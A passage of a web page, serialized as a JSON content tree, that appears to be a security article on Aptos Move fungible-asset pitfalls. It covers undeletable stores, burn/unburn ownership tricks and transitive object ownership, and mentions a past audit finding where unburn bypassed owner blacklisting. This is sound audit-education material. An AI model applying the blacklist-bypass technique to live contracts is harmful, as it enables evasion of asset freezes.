",{"type":24,"tag":284,"props":70095,"children":70097},{"className":70096},[],[70098],{"type":29,"value":68799},{"type":29,"value":70100}," object, the ",{"type":24,"tag":284,"props":70102,"children":70104},{"className":70103},[],[70105],{"type":29,"value":68799},{"type":29,"value":70107}," resource becomes permanently undeletable. This is because ",{"type":24,"tag":284,"props":70109,"children":70111},{"className":70110},[],[70112],{"type":29,"value":70113},"remove_store",{"type":29,"value":70115}," can't create an ",{"type":24,"tag":284,"props":70117,"children":70119},{"className":70118},[],[70120],{"type":29,"value":70121},"Object\u003CFungibleStore>",{"type":29,"value":70123}," without an ",{"type":24,"tag":284,"props":70125,"children":70127},{"className":70126},[],[70128],{"type":29,"value":55571},{"type":29,"value":70130}," underneath, causing the operation to fail.",{"type":24,"tag":317,"props":70132,"children":70134},{"className":1553,"code":70133,"language":1552,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[70135],{"type":24,"tag":284,"props":70136,"children":70137},{"__ignoreMap":7},[70138,70193,70245,70260],{"type":24,"tag":327,"props":70139,"children":70140},{"class":329,"line":330},[70141,70145,70149,70153,70157,70161,70165,70169,70173,70177,70181,70185,70189],{"type":24,"tag":327,"props":70142,"children":70143},{"style":356},[70144],{"type":29,"value":68398},{"type":24,"tag":327,"props":70146,"children":70147},{"style":356},[70148],{"type":29,"value":13773},{"type":24,"tag":327,"props":70150,"children":70151},{"style":340},[70152],{"type":29,"value":69994},{"type":24,"tag":327,"props":70154,"children":70155},{"style":346},[70156],{"type":29,"value":349},{"type":24,"tag":327,"props":70158,"children":70159},{"style":356},[70160],{"type":29,"value":70003},{"type":24,"tag":327,"props":70162,"children":70163},{"style":381},[70164],{"type":29,"value":1636},{"type":24,"tag":327,"props":70166,"children":70167},{"style":381},[70168],{"type":29,"value":14704},{"type":24,"tag":327,"props":70170,"children":70171},{"style":1639},[70172],{"type":29,"value":70016},{"type":24,"tag":327,"props":70174,"children":70175},{"style":346},[70176],{"type":29,"value":1674},{"type":24,"tag":327,"props":70178,"children":70179},{"style":356},[70180],{"type":29,"value":13910},{"type":24,"tag":327,"props":70182,"children":70183},{"style":346},[70184],{"type":29,"value":4446},{"type":24,"tag":327,"props":70186,"children":70187},{"style":381},[70188],{"type":29,"value":1922},{"type":24,"tag":327,"props":70190,"children":70191},{"style":346},[70192],{"type":29,"value":68489},{"type":24,"tag":327,"props":70194,"children":70195},{"class":329,"line":367},[70196,70200,70204,70208,70212,70216,70220,70225,70229,70233,70237,70241],{"type":24,"tag":327,"props":70197,"children":70198},{"style":334},[70199],{"type":29,"value":4794},{"type":24,"tag":327,"props":70201,"children":70202},{"style":356},[70203],{"type":29,"value":13399},{"type":24,"tag":327,"props":70205,"children":70206},{"style":381},[70207],{"type":29,"value":4809},{"type":24,"tag":327,"props":70209,"children":70210},{"style":381},[70211],{"type":29,"value":14704},{"type":24,"tag":327,"props":70213,"children":70214},{"style":346},[70215],{"type":29,"value":69633},{"type":24,"tag":327,"props":70217,"children":70218},{"style":381},[70219],{"type":29,"value":2407},{"type":24,"tag":327,"props":70221,"children":70222},{"style":356},[70223],{"type":29,"value":70224},"object_from_delete_ref",{"type":24,"tag":327,"props":70226,"children":70227},{"style":346},[70228],{"type":29,"value":1596},{"type":24,"tag":327,"props":70230,"children":70231},{"style":1639},[70232],{"type":29,"value":68799},{"type":24,"tag":327,"props":70234,"children":70235},{"style":346},[70236],{"type":29,"value":15173},{"type":24,"tag":327,"props":70238,"children":70239},{"style":356},[70240],{"type":29,"value":70003},{"type":24,"tag":327,"props":70242,"children":70243},{"style":346},[70244],{"type":29,"value":583},{"type":24,"tag":327,"props":70246,"children":70247},{"class":329,"line":408},[70248,70252,70256],{"type":24,"tag":327,"props":70249,"children":70250},{"style":346},[70251],{"type":29,"value":69441},{"type":24,"tag":327,"props":70253,"children":70254},{"style":381},[70255],{"type":29,"value":1922},{"type":24,"tag":327,"props":70257,"children":70258},{"style":346},[70259],{"type":29,"value":19319},{"type":24,"tag":327,"props":70261,"children":70262},{"class":329,"line":421},[70263],{"type":24,"tag":327,"props":70264,"children":70265},{"style":346},[70266],{"type":29,"value":592},{"type":24,"tag":25,"props":70268,"children":70269},{},[70270,70272,70277,70279,70285,70287,70292],{"type":29,"value":70271},"In addition, such \"deleted\" ",{"type":24,"tag":284,"props":70273,"children":70275},{"className":70274},[],[70276],{"type":29,"value":68799},{"type":29,"value":70278}," objects remain at least partially operable. For instance, ",{"type":24,"tag":284,"props":70280,"children":70282},{"className":70281},[],[70283],{"type":29,"value":70284},"fungible_asset::deposit",{"type":29,"value":70286}," does not check the ",{"type":24,"tag":284,"props":70288,"children":70290},{"className":70289},[],[70291],{"type":29,"value":55571},{"type":29,"value":70293}," existence.",{"type":24,"tag":235,"props":70295,"children":70297},{"id":70296},"ownership",[70298],{"type":29,"value":70299},"Ownership",{"type":24,"tag":25,"props":70301,"children":70302},{},[70303,70305,70310,70312,70318,70320,70325],{"type":29,"value":70304},"Each object has an owner. Fungible assets rely on the ",{"type":24,"tag":284,"props":70306,"children":70308},{"className":70307},[],[70309],{"type":29,"value":55571},{"type":29,"value":70311}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":24,"tag":284,"props":70313,"children":70315},{"className":70314},[],[70316],{"type":29,"value":70317},"object::owns",{"type":29,"value":70319}," to confirm ownership of the ",{"type":24,"tag":284,"props":70321,"children":70323},{"className":70322},[],[70324],{"type":29,"value":68799},{"type":29,"value":56897},{"type":24,"tag":317,"props":70327,"children":70329},{"className":1553,"code":70328,"language":1552,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[70330],{"type":24,"tag":284,"props":70331,"children":70332},{"__ignoreMap":7},[70333,70381,70405,70432,70452,70480,70548,70563],{"type":24,"tag":327,"props":70334,"children":70335},{"class":329,"line":330},[70336,70340,70344,70348,70352,70356,70361,70365,70369,70373,70377],{"type":24,"tag":327,"props":70337,"children":70338},{"style":340},[70339],{"type":29,"value":68398},{"type":24,"tag":327,"props":70341,"children":70342},{"style":346},[70343],{"type":29,"value":349},{"type":24,"tag":327,"props":70345,"children":70346},{"style":356},[70347],{"type":29,"value":14662},{"type":24,"tag":327,"props":70349,"children":70350},{"style":346},[70351],{"type":29,"value":1674},{"type":24,"tag":327,"props":70353,"children":70354},{"style":356},[70355],{"type":29,"value":14671},{"type":24,"tag":327,"props":70357,"children":70358},{"style":356},[70359],{"type":29,"value":70360}," withdraw_sanity_check",{"type":24,"tag":327,"props":70362,"children":70363},{"style":346},[70364],{"type":29,"value":1596},{"type":24,"tag":327,"props":70366,"children":70367},{"style":1639},[70368],{"type":29,"value":13555},{"type":24,"tag":327,"props":70370,"children":70371},{"style":381},[70372],{"type":29,"value":1636},{"type":24,"tag":327,"props":70374,"children":70375},{"style":356},[70376],{"type":29,"value":13499},{"type":24,"tag":327,"props":70378,"children":70379},{"style":346},[70380],{"type":29,"value":14155},{"type":24,"tag":327,"props":70382,"children":70383},{"class":329,"line":367},[70384,70389,70393,70397,70401],{"type":24,"tag":327,"props":70385,"children":70386},{"style":356},[70387],{"type":29,"value":70388},"    owner",{"type":24,"tag":327,"props":70390,"children":70391},{"style":381},[70392],{"type":29,"value":1636},{"type":24,"tag":327,"props":70394,"children":70395},{"style":381},[70396],{"type":29,"value":14704},{"type":24,"tag":327,"props":70398,"children":70399},{"style":356},[70400],{"type":29,"value":14709},{"type":24,"tag":327,"props":70402,"children":70403},{"style":346},[70404],{"type":29,"value":2231},{"type":24,"tag":327,"props":70406,"children":70407},{"class":329,"line":408},[70408,70412,70416,70420,70424,70428],{"type":24,"tag":327,"props":70409,"children":70410},{"style":356},[70411],{"type":29,"value":36122},{"type":24,"tag":327,"props":70413,"children":70414},{"style":381},[70415],{"type":29,"value":1636},{"type":24,"tag":327,"props":70417,"children":70418},{"style":1639},[70419],{"type":29,"value":68284},{"type":24,"tag":327,"props":70421,"children":70422},{"style":346},[70423],{"type":29,"value":1596},{"type":24,"tag":327,"props":70425,"children":70426},{"style":1639},[70427],{"type":29,"value":13555},{"type":24,"tag":327,"props":70429,"children":70430},{"style":346},[70431],{"type":29,"value":4529},{"type":24,"tag":327,"props":70433,"children":70434},{"class":329,"line":421},[70435,70440,70444,70448],{"type":24,"tag":327,"props":70436,"children":70437},{"style":356},[70438],{"type":29,"value":70439},"    abort_on_dispatch",{"type":24,"tag":327,"props":70441,"children":70442},{"style":381},[70443],{"type":29,"value":1636},{"type":24,"tag":327,"props":70445,"children":70446},{"style":1639},[70447],{"type":29,"value":1935},{"type":24,"tag":327,"props":70449,"children":70450},{"style":346},[70451],{"type":29,"value":2231},{"type":24,"tag":327,"props":70453,"children":70454},{"class":329,"line":450},[70455,70459,70463,70467,70471,70476],{"type":24,"tag":327,"props":70456,"children":70457},{"style":346},[70458],{"type":29,"value":1674},{"type":24,"tag":327,"props":70460,"children":70461},{"style":356},[70462],{"type":29,"value":13910},{"type":24,"tag":327,"props":70464,"children":70465},{"style":1639},[70466],{"type":29,"value":68819},{"type":24,"tag":327,"props":70468,"children":70469},{"style":346},[70470],{"type":29,"value":2744},{"type":24,"tag":327,"props":70472,"children":70473},{"style":1639},[70474],{"type":29,"value":70475},"DispatchFunctionStore",{"type":24,"tag":327,"props":70477,"children":70478},{"style":346},[70479],{"type":29,"value":497},{"type":24,"tag":327,"props":70481,"children":70482},{"class":329,"line":481},[70483,70487,70492,70496,70501,70505,70509,70513,70517,70521,70525,70529,70534,70538,70543],{"type":24,"tag":327,"props":70484,"children":70485},{"style":340},[70486],{"type":29,"value":69067},{"type":24,"tag":327,"props":70488,"children":70489},{"style":346},[70490],{"type":29,"value":70491},"(object",{"type":24,"tag":327,"props":70493,"children":70494},{"style":381},[70495],{"type":29,"value":2407},{"type":24,"tag":327,"props":70497,"children":70498},{"style":340},[70499],{"type":29,"value":70500},"owns",{"type":24,"tag":327,"props":70502,"children":70503},{"style":346},[70504],{"type":29,"value":349},{"type":24,"tag":327,"props":70506,"children":70507},{"style":356},[70508],{"type":29,"value":13508},{"type":24,"tag":327,"props":70510,"children":70511},{"style":346},[70512],{"type":29,"value":20480},{"type":24,"tag":327,"props":70514,"children":70515},{"style":381},[70516],{"type":29,"value":2407},{"type":24,"tag":327,"props":70518,"children":70519},{"style":340},[70520],{"type":29,"value":14772},{"type":24,"tag":327,"props":70522,"children":70523},{"style":346},[70524],{"type":29,"value":349},{"type":24,"tag":327,"props":70526,"children":70527},{"style":356},[70528],{"type":29,"value":23131},{"type":24,"tag":327,"props":70530,"children":70531},{"style":346},[70532],{"type":29,"value":70533},")), error",{"type":24,"tag":327,"props":70535,"children":70536},{"style":381},[70537],{"type":29,"value":2407},{"type":24,"tag":327,"props":70539,"children":70540},{"style":340},[70541],{"type":29,"value":70542},"permission_denied",{"type":24,"tag":327,"props":70544,"children":70545},{"style":346},[70546],{"type":29,"value":70547},"(ENOT_STORE_OWNER));\n",{"type":24,"tag":327,"props":70549,"children":70550},{"class":329,"line":500},[70551,70555,70559],{"type":24,"tag":327,"props":70552,"children":70553},{"style":346},[70554],{"type":29,"value":69441},{"type":24,"tag":327,"props":70556,"children":70557},{"style":381},[70558],{"type":29,"value":1922},{"type":24,"tag":327,"props":70560,"children":70561},{"style":346},[70562],{"type":29,"value":19319},{"type":24,"tag":327,"props":70564,"children":70565},{"class":329,"line":529},[70566],{"type":24,"tag":327,"props":70567,"children":70568},{"style":346},[70569],{"type":29,"value":592},{"type":24,"tag":25,"props":70571,"children":70572},{},[70573,70575,70580,70582,70588,70590,70596],{"type":29,"value":70574},"The thing to note is that defining ownership with ",{"type":24,"tag":284,"props":70576,"children":70578},{"className":70577},[],[70579],{"type":29,"value":70317},{"type":29,"value":70581}," can be tricky. The ",{"type":24,"tag":284,"props":70583,"children":70585},{"className":70584},[],[70586],{"type":29,"value":70587},"burn",{"type":29,"value":70589}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":24,"tag":284,"props":70591,"children":70593},{"className":70592},[],[70594],{"type":29,"value":70595},"BURN_ADDRESS",{"type":29,"value":70597}," while bypassing transfer restrictions:",{"type":24,"tag":317,"props":70599,"children":70601},{"className":1553,"code":70600,"language":1552,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[70602],{"type":24,"tag":284,"props":70603,"children":70604},{"__ignoreMap":7},[70605,70702,70743,70793,70822,70872,70893],{"type":24,"tag":327,"props":70606,"children":70607},{"class":329,"line":330},[70608,70612,70616,70620,70625,70629,70633,70637,70641,70645,70649,70653,70657,70661,70665,70669,70673,70677,70681,70685,70689,70693,70698],{"type":24,"tag":327,"props":70609,"children":70610},{"style":356},[70611],{"type":29,"value":68398},{"type":24,"tag":327,"props":70613,"children":70614},{"style":356},[70615],{"type":29,"value":69365},{"type":24,"tag":327,"props":70617,"children":70618},{"style":356},[70619],{"type":29,"value":13773},{"type":24,"tag":327,"props":70621,"children":70622},{"style":356},[70623],{"type":29,"value":70624}," burn",{"type":24,"tag":327,"props":70626,"children":70627},{"style":346},[70628],{"type":29,"value":1596},{"type":24,"tag":327,"props":70630,"children":70631},{"style":1639},[70632],{"type":29,"value":13555},{"type":24,"tag":327,"props":70634,"children":70635},{"style":381},[70636],{"type":29,"value":1636},{"type":24,"tag":327,"props":70638,"children":70639},{"style":356},[70640],{"type":29,"value":13499},{"type":24,"tag":327,"props":70642,"children":70643},{"style":346},[70644],{"type":29,"value":15173},{"type":24,"tag":327,"props":70646,"children":70647},{"style":356},[70648],{"type":29,"value":23131},{"type":24,"tag":327,"props":70650,"children":70651},{"style":381},[70652],{"type":29,"value":1636},{"type":24,"tag":327,"props":70654,"children":70655},{"style":381},[70656],{"type":29,"value":14704},{"type":24,"tag":327,"props":70658,"children":70659},{"style":356},[70660],{"type":29,"value":14709},{"type":24,"tag":327,"props":70662,"children":70663},{"style":346},[70664],{"type":29,"value":2744},{"type":24,"tag":327,"props":70666,"children":70667},{"style":356},[70668],{"type":29,"value":69633},{"type":24,"tag":327,"props":70670,"children":70671},{"style":381},[70672],{"type":29,"value":1636},{"type":24,"tag":327,"props":70674,"children":70675},{"style":1639},[70676],{"type":29,"value":68284},{"type":24,"tag":327,"props":70678,"children":70679},{"style":346},[70680],{"type":29,"value":1596},{"type":24,"tag":327,"props":70682,"children":70683},{"style":1639},[70684],{"type":29,"value":13555},{"type":24,"tag":327,"props":70686,"children":70687},{"style":346},[70688],{"type":29,"value":1806},{"type":24,"tag":327,"props":70690,"children":70691},{"style":356},[70692],{"type":29,"value":13910},{"type":24,"tag":327,"props":70694,"children":70695},{"style":1639},[70696],{"type":29,"value":70697}," ObjectCore",{"type":24,"tag":327,"props":70699,"children":70700},{"style":346},[70701],{"type":29,"value":497},{"type":24,"tag":327,"props":70703,"children":70704},{"class":329,"line":367},[70705,70709,70714,70718,70723,70727,70731,70735,70739],{"type":24,"tag":327,"props":70706,"children":70707},{"style":334},[70708],{"type":29,"value":4794},{"type":24,"tag":327,"props":70710,"children":70711},{"style":356},[70712],{"type":29,"value":70713}," original_owner",{"type":24,"tag":327,"props":70715,"children":70716},{"style":381},[70717],{"type":29,"value":4809},{"type":24,"tag":327,"props":70719,"children":70720},{"style":346},[70721],{"type":29,"value":70722}," signer",{"type":24,"tag":327,"props":70724,"children":70725},{"style":381},[70726],{"type":29,"value":2407},{"type":24,"tag":327,"props":70728,"children":70729},{"style":340},[70730],{"type":29,"value":14772},{"type":24,"tag":327,"props":70732,"children":70733},{"style":346},[70734],{"type":29,"value":349},{"type":24,"tag":327,"props":70736,"children":70737},{"style":356},[70738],{"type":29,"value":23131},{"type":24,"tag":327,"props":70740,"children":70741},{"style":346},[70742],{"type":29,"value":583},{"type":24,"tag":327,"props":70744,"children":70745},{"class":329,"line":408},[70746,70750,70754,70759,70763,70767,70771,70776,70780,70784,70788],{"type":24,"tag":327,"props":70747,"children":70748},{"style":340},[70749],{"type":29,"value":69067},{"type":24,"tag":327,"props":70751,"children":70752},{"style":346},[70753],{"type":29,"value":349},{"type":24,"tag":327,"props":70755,"children":70756},{"style":340},[70757],{"type":29,"value":70758},"is_owner",{"type":24,"tag":327,"props":70760,"children":70761},{"style":346},[70762],{"type":29,"value":349},{"type":24,"tag":327,"props":70764,"children":70765},{"style":356},[70766],{"type":29,"value":69633},{"type":24,"tag":327,"props":70768,"children":70769},{"style":346},[70770],{"type":29,"value":2744},{"type":24,"tag":327,"props":70772,"children":70773},{"style":356},[70774],{"type":29,"value":70775},"original_owner",{"type":24,"tag":327,"props":70777,"children":70778},{"style":346},[70779],{"type":29,"value":69656},{"type":24,"tag":327,"props":70781,"children":70782},{"style":381},[70783],{"type":29,"value":2407},{"type":24,"tag":327,"props":70785,"children":70786},{"style":340},[70787],{"type":29,"value":70542},{"type":24,"tag":327,"props":70789,"children":70790},{"style":346},[70791],{"type":29,"value":70792},"(ENOT_OBJECT_OWNER));\n",{"type":24,"tag":327,"props":70794,"children":70795},{"class":329,"line":421},[70796,70800,70805,70809,70813,70817],{"type":24,"tag":327,"props":70797,"children":70798},{"style":334},[70799],{"type":29,"value":4794},{"type":24,"tag":327,"props":70801,"children":70802},{"style":356},[70803],{"type":29,"value":70804}," object_addr",{"type":24,"tag":327,"props":70806,"children":70807},{"style":381},[70808],{"type":29,"value":4809},{"type":24,"tag":327,"props":70810,"children":70811},{"style":356},[70812],{"type":29,"value":69217},{"type":24,"tag":327,"props":70814,"children":70815},{"style":381},[70816],{"type":29,"value":66},{"type":24,"tag":327,"props":70818,"children":70819},{"style":346},[70820],{"type":29,"value":70821},"inner;\n",{"type":24,"tag":327,"props":70823,"children":70824},{"class":329,"line":450},[70825,70829,70833,70837,70842,70846,70851,70855,70860,70864,70868],{"type":24,"tag":327,"props":70826,"children":70827},{"style":340},[70828],{"type":29,"value":69820},{"type":24,"tag":327,"props":70830,"children":70831},{"style":346},[70832],{"type":29,"value":349},{"type":24,"tag":327,"props":70834,"children":70835},{"style":381},[70836],{"type":29,"value":8716},{"type":24,"tag":327,"props":70838,"children":70839},{"style":340},[70840],{"type":29,"value":70841},"create_signer",{"type":24,"tag":327,"props":70843,"children":70844},{"style":346},[70845],{"type":29,"value":349},{"type":24,"tag":327,"props":70847,"children":70848},{"style":356},[70849],{"type":29,"value":70850},"object_addr",{"type":24,"tag":327,"props":70852,"children":70853},{"style":346},[70854],{"type":29,"value":22701},{"type":24,"tag":327,"props":70856,"children":70857},{"style":1639},[70858],{"type":29,"value":70859},"TombStone",{"type":24,"tag":327,"props":70861,"children":70862},{"style":346},[70863],{"type":29,"value":1940},{"type":24,"tag":327,"props":70865,"children":70866},{"style":356},[70867],{"type":29,"value":70775},{"type":24,"tag":327,"props":70869,"children":70870},{"style":346},[70871],{"type":29,"value":45548},{"type":24,"tag":327,"props":70873,"children":70874},{"class":329,"line":481},[70875,70880,70884,70888],{"type":24,"tag":327,"props":70876,"children":70877},{"style":340},[70878],{"type":29,"value":70879},"    transfer_raw_inner",{"type":24,"tag":327,"props":70881,"children":70882},{"style":346},[70883],{"type":29,"value":349},{"type":24,"tag":327,"props":70885,"children":70886},{"style":356},[70887],{"type":29,"value":70850},{"type":24,"tag":327,"props":70889,"children":70890},{"style":346},[70891],{"type":29,"value":70892},", BURN_ADDRESS);\n",{"type":24,"tag":327,"props":70894,"children":70895},{"class":329,"line":500},[70896],{"type":24,"tag":327,"props":70897,"children":70898},{"style":346},[70899],{"type":29,"value":592},{"type":24,"tag":25,"props":70901,"children":70902},{},[70903,70909,70911,70916,70917,70924,70926,70931],{"type":24,"tag":284,"props":70904,"children":70906},{"className":70905},[],[70907],{"type":29,"value":70908},"unburn",{"type":29,"value":70910}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":24,"tag":284,"props":70912,"children":70914},{"className":70913},[],[70915],{"type":29,"value":70595},{"type":29,"value":26042},{"type":24,"tag":57,"props":70918,"children":70921},{"href":70919,"rel":70920},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[61],[70922],{"type":29,"value":70923},"AIP-99",{"type":29,"value":70925}," is a proposal to roll back the ",{"type":24,"tag":284,"props":70927,"children":70929},{"className":70928},[],[70930],{"type":29,"value":70587},{"type":29,"value":70932}," feature, but previously burned objects will remain restorable.",{"type":24,"tag":1706,"props":70934,"children":70935},{},[70936],{"type":24,"tag":25,"props":70937,"children":70938},{},[70939,70941,70945],{"type":29,"value":70940},"This ",{"type":24,"tag":327,"props":70942,"children":70943},{},[70944],{"type":29,"value":70923},{"type":29,"value":70946}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":24,"tag":25,"props":70948,"children":70949},{},[70950,70952,70958,70960,70965,70967,70972],{"type":29,"value":70951},"Another important thing is that ",{"type":24,"tag":284,"props":70953,"children":70955},{"className":70954},[],[70956],{"type":29,"value":70957},"fungible_asset::set_untransferable",{"type":29,"value":70959}," can be used to make all new ",{"type":24,"tag":284,"props":70961,"children":70963},{"className":70962},[],[70964],{"type":29,"value":69303},{"type":29,"value":70966}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":24,"tag":284,"props":70968,"children":70970},{"className":70969},[],[70971],{"type":29,"value":68799},{"type":29,"value":66},{"type":24,"tag":25,"props":70974,"children":70975},{},[70976,70978,70983,70985,70991,70993,70998,71000,71005],{"type":29,"value":70977},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":24,"tag":284,"props":70979,"children":70981},{"className":70980},[],[70982],{"type":29,"value":68799},{"type":29,"value":70984},", X can withdraw from that store. This is because ",{"type":24,"tag":284,"props":70986,"children":70988},{"className":70987},[],[70989],{"type":29,"value":70990},"fungible_asset::withdraw",{"type":29,"value":70992}," uses ",{"type":24,"tag":284,"props":70994,"children":70996},{"className":70995},[],[70997],{"type":29,"value":70317},{"type":29,"value":70999}," to verify both direct and indirect ownership of the ",{"type":24,"tag":284,"props":71001,"children":71003},{"className":71002},[],[71004],{"type":29,"value":68799},{"type":29,"value":56897},{"type":24,"tag":317,"props":71007,"children":71009},{"className":1553,"code":71008,"language":1552,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[71010],{"type":24,"tag":284,"props":71011,"children":71012},{"__ignoreMap":7},[71013,71074,71090,71120,71149,71164,71176,71206,71227,71234,71274,71299,71306],{"type":24,"tag":327,"props":71014,"children":71015},{"class":329,"line":330},[71016,71020,71025,71029,71033,71037,71041,71045,71050,71054,71058,71062,71066,71070],{"type":24,"tag":327,"props":71017,"children":71018},{"style":356},[71019],{"type":29,"value":14671},{"type":24,"tag":327,"props":71021,"children":71022},{"style":340},[71023],{"type":29,"value":71024}," verify_ungated_and_descendant",{"type":24,"tag":327,"props":71026,"children":71027},{"style":346},[71028],{"type":29,"value":349},{"type":24,"tag":327,"props":71030,"children":71031},{"style":356},[71032],{"type":29,"value":23131},{"type":24,"tag":327,"props":71034,"children":71035},{"style":381},[71036],{"type":29,"value":1636},{"type":24,"tag":327,"props":71038,"children":71039},{"style":356},[71040],{"type":29,"value":13816},{"type":24,"tag":327,"props":71042,"children":71043},{"style":346},[71044],{"type":29,"value":2744},{"type":24,"tag":327,"props":71046,"children":71047},{"style":356},[71048],{"type":29,"value":71049},"destination",{"type":24,"tag":327,"props":71051,"children":71052},{"style":381},[71053],{"type":29,"value":1636},{"type":24,"tag":327,"props":71055,"children":71056},{"style":356},[71057],{"type":29,"value":13816},{"type":24,"tag":327,"props":71059,"children":71060},{"style":346},[71061],{"type":29,"value":1674},{"type":24,"tag":327,"props":71063,"children":71064},{"style":356},[71065],{"type":29,"value":13910},{"type":24,"tag":327,"props":71067,"children":71068},{"style":1639},[71069],{"type":29,"value":70697},{"type":24,"tag":327,"props":71071,"children":71072},{"style":346},[71073],{"type":29,"value":497},{"type":24,"tag":327,"props":71075,"children":71076},{"class":329,"line":367},[71077,71082,71086],{"type":24,"tag":327,"props":71078,"children":71079},{"style":346},[71080],{"type":29,"value":71081},"        [",{"type":24,"tag":327,"props":71083,"children":71084},{"style":381},[71085],{"type":29,"value":1922},{"type":24,"tag":327,"props":71087,"children":71088},{"style":346},[71089],{"type":29,"value":19319},{"type":24,"tag":327,"props":71091,"children":71092},{"class":329,"line":408},[71093,71098,71102,71106,71111,71116],{"type":24,"tag":327,"props":71094,"children":71095},{"style":425},[71096],{"type":29,"value":71097},"    while",{"type":24,"tag":327,"props":71099,"children":71100},{"style":346},[71101],{"type":29,"value":5894},{"type":24,"tag":327,"props":71103,"children":71104},{"style":356},[71105],{"type":29,"value":23131},{"type":24,"tag":327,"props":71107,"children":71108},{"style":381},[71109],{"type":29,"value":71110}," !=",{"type":24,"tag":327,"props":71112,"children":71113},{"style":356},[71114],{"type":29,"value":71115}," current_address",{"type":24,"tag":327,"props":71117,"children":71118},{"style":346},[71119],{"type":29,"value":364},{"type":24,"tag":327,"props":71121,"children":71122},{"class":329,"line":421},[71123,71128,71132,71137,71141,71145],{"type":24,"tag":327,"props":71124,"children":71125},{"style":356},[71126],{"type":29,"value":71127},"        count",{"type":24,"tag":327,"props":71129,"children":71130},{"style":381},[71131],{"type":29,"value":4809},{"type":24,"tag":327,"props":71133,"children":71134},{"style":356},[71135],{"type":29,"value":71136}," count",{"type":24,"tag":327,"props":71138,"children":71139},{"style":381},[71140],{"type":29,"value":4407},{"type":24,"tag":327,"props":71142,"children":71143},{"style":397},[71144],{"type":29,"value":522},{"type":24,"tag":327,"props":71146,"children":71147},{"style":346},[71148],{"type":29,"value":405},{"type":24,"tag":327,"props":71150,"children":71151},{"class":329,"line":450},[71152,71156,71160],{"type":24,"tag":327,"props":71153,"children":71154},{"style":346},[71155],{"type":29,"value":71081},{"type":24,"tag":327,"props":71157,"children":71158},{"style":381},[71159],{"type":29,"value":1922},{"type":24,"tag":327,"props":71161,"children":71162},{"style":346},[71163],{"type":29,"value":19319},{"type":24,"tag":327,"props":71165,"children":71166},{"class":329,"line":481},[71167,71172],{"type":24,"tag":327,"props":71168,"children":71169},{"style":340},[71170],{"type":29,"value":71171},"        assert!",{"type":24,"tag":327,"props":71173,"children":71174},{"style":346},[71175],{"type":29,"value":4663},{"type":24,"tag":327,"props":71177,"children":71178},{"class":329,"line":500},[71179,71184,71188,71193,71197,71202],{"type":24,"tag":327,"props":71180,"children":71181},{"style":356},[71182],{"type":29,"value":71183},"            exists",{"type":24,"tag":327,"props":71185,"children":71186},{"style":346},[71187],{"type":29,"value":1596},{"type":24,"tag":327,"props":71189,"children":71190},{"style":1639},[71191],{"type":29,"value":71192},"ObjectCore",{"type":24,"tag":327,"props":71194,"children":71195},{"style":346},[71196],{"type":29,"value":15173},{"type":24,"tag":327,"props":71198,"children":71199},{"style":356},[71200],{"type":29,"value":71201},"current_address",{"type":24,"tag":327,"props":71203,"children":71204},{"style":346},[71205],{"type":29,"value":9212},{"type":24,"tag":327,"props":71207,"children":71208},{"class":329,"line":529},[71209,71214,71218,71222],{"type":24,"tag":327,"props":71210,"children":71211},{"style":346},[71212],{"type":29,"value":71213},"            error",{"type":24,"tag":327,"props":71215,"children":71216},{"style":381},[71217],{"type":29,"value":2407},{"type":24,"tag":327,"props":71219,"children":71220},{"style":340},[71221],{"type":29,"value":70542},{"type":24,"tag":327,"props":71223,"children":71224},{"style":346},[71225],{"type":29,"value":71226},"(ENOT_OBJECT_OWNER),\n",{"type":24,"tag":327,"props":71228,"children":71229},{"class":329,"line":538},[71230],{"type":24,"tag":327,"props":71231,"children":71232},{"style":346},[71233],{"type":29,"value":15306},{"type":24,"tag":327,"props":71235,"children":71236},{"class":329,"line":547},[71237,71241,71245,71249,71254,71258,71262,71266,71270],{"type":24,"tag":327,"props":71238,"children":71239},{"style":334},[71240],{"type":29,"value":7558},{"type":24,"tag":327,"props":71242,"children":71243},{"style":356},[71244],{"type":29,"value":69217},{"type":24,"tag":327,"props":71246,"children":71247},{"style":381},[71248],{"type":29,"value":4809},{"type":24,"tag":327,"props":71250,"children":71251},{"style":356},[71252],{"type":29,"value":71253}," 